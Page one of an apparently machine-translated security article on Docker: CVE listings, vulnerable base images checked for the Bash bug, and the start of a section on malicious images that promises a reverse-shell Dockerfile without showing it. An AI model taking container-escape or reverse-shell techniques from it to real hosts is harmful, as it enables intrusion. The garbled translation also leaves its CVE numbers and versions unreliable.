Docker security of those things-vulnerability warning-the black bar safety net

In the past year, the container being at an amazing speed of development, the country also has a large number of Internet companies in the production environment using Docker, which are also million units of the scale. The other day the clouds exposed Swarm configuration problem caused by the security risks, but also to let everyone on Docker security filed a concern, this article mainly from the“Docker’s own security”,“DockerImages security”and“Docker using the safety hazard”to talk about Docker security of those things.
0x01 Docker for their own safety
Normalized summed up under the CVE on the Docker vulnerability report,results are as follows:
Number
CVE number
Vulnerability version
Vulnerability name
1
CVE-2 0 1 5-3 6 3 0
1.6.0
Docker Libcontainer security bypass vulnerability
2
CVE-2 0 1 5-3 6 2 7
1.6.1
Libcontainer and Docker Engine licenses, and access control vulnerability
3
CVE-2 0 1 5-3 6 3 0
1.6.1
The Docker Engine security bypass vulnerability
4
CVE-2 0 1 4-9 3 5 8
1.3.3
The Docker directory traversal vulnerability
5
CVE-2 0 1 4-9 3 5 7
1.3.2
Docker licenses, and access control vulnerability
6
CVE-2 0 1 4-6 4 0 8
1.3.1
Docker licenses, and access control vulnerability
7
CVE-2 0 1 4-5 2 7 7
1.3.0
Docker and docker-py code injection vulnerability
All of the vulnerabilities: https://docs.docker.com/engine/security/non-events/
Can be found in Docker there is a problem of the version are in 1. 3 and 1. 6, because the access control and other problems can result from the container get into the host machine permissions. Docker in the 6 month released the latest version 1. 1 2 Version, from 1. 6 to now 1. 1 2 are not broke loopholes in the case, excluding the Oday possible. Based on Docker itself in terms of security can be guaranteed, whether it is the container of the isolation or resource limitations of the container has a very excellent performance, more safety problems on the user, because there is no correct use of a container or a configuration error resulting in the container of the dangerous run.
0x02 DockerImages security
The container environment is based on the container image, once the container image there is a risk then the container security can be greatly reduced. We see the container image is based on Dockerfile layer of the layer stack, as shown below:
! [](/Article/UploadPic/2016-7/2 0 1 6 7 6 1 1 5 3 1 2 3 1 1. png)
The underlying Base mirror references“atiger77:1.0”, and the second layer a mirror on top of this add run. sh script to the container directory, and the third layer of the mirror refers to the container the runtime execution run. sh script. The Docker image has its own caching mechanism, building when going layer by layer to be on the check, the underlying mirroring if there is no change, then skip the build using a mirrored Cache to save build time, if it detects a change then start the build action.
This is mainly divided into two cases to discuss the container image of security.
SoftwareVulnerability for mirroring, the software used in the presence of high-risk vulnerabilities
BadImages exist the back door of the container mirroring

1. SoftwareVulnerability
   According to still just Mirror Images layered, the underlying Base image if you use the software the presence of high-risk vulnerabilities, then all use the Base mirroring the build-out of the mirror there will be problems. We’ll give you a chestnuts:
   !
   On the figure Base mirror to install only the basis of the dependent components,wherein the software abc has high-risk vulnerabilities. According to the Base mirror beat out the need of a mirror, the left mirror is to add the code directory to the vessel, the right to build a compiled gcc in the base image. Then when the Base is mirrored in the abc software the presence of high-risk vulnerabilities, then all the dependencies of the mirror you are there the risk. When this occurs, you need to first fix the Base mirroring the problems in the software, after the completion of the time dependence of the mirror re-build operation.
   According to the above, I respectively, from dockerhub and github download part of the mirror for the real test,
   Test vulnerability: Bash vulnerability test code: https://github.com/hannob/bashcheck/blob/master/bashcheck
   Test version: use the official mirror for the test, the version for centos5. 11/6. 6/7. 2
   !
   The testing process:
   Version:5.11
   !
   Version:6.6
   !
   Version:7.2
   !
   Test results: from the test results it can be see the official website to download the centos5. 1 1 and centos6. 6 There are the BASH vulnerabilities(CVE-2 0 1 4-6 2 7 7). The View the following CVE record time of 2 0 1 4 year 9 month 9 day, given the official centos6. 6 last update time is 2 0 1 5 year 5 month 4 days and then did not fix the vulnerability.
   CVE report time: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6277
   Docker-Centos6. 6 official dockerfile address: https://github.com/CentOS/sig-cloud-instance-images/blob/8911843d9a6cc71aadd81e491f94618aded94f30/docker/Dockerfile
   Although the Base mirror has the existence of this vulnerability, but the container used to run the service, the General case is not required to enter the container for operation, and here I demonstrate just a Common Vulnerability, of course there will be Other service vulnerability container image here or give their own recommendations, the company uses the container base image needs its own build, to ensure the Base of the mirror clean and safe, and now there are a lot of small partners began to use alpine mirror a centos also dozens of M-get.
   Actually to the side of the container security are in the controllable range, even if the use of the service or application has a problem such that an attacker Upload a webshell, the operation range is also just within the container will not be on the host machine have an impact, then the container is really safe? Not all, the following I will speak of how through the container to get to the host machine permissions.
2. BadImages
   BadImages not the value of the“broken mirror”but that those“malicious image”, turned under the dark clouds all with a“Docker”and“container”keywords vulnerability, most of the submitted vulnerabilities through the Swarm is not configured correctly, so through the remote API implementation is not authorized to access, the associated solution can refer to“hacker absolutely hack”before writing the article http://drops.wooyun.org/papers/15892 in. In all Docker containers find a more interesting, use your own dockerfile to perform bounce the shell got to a public cloud, one machine, let’s see the next Chapter of the total of the dockerfile

[1] [2] next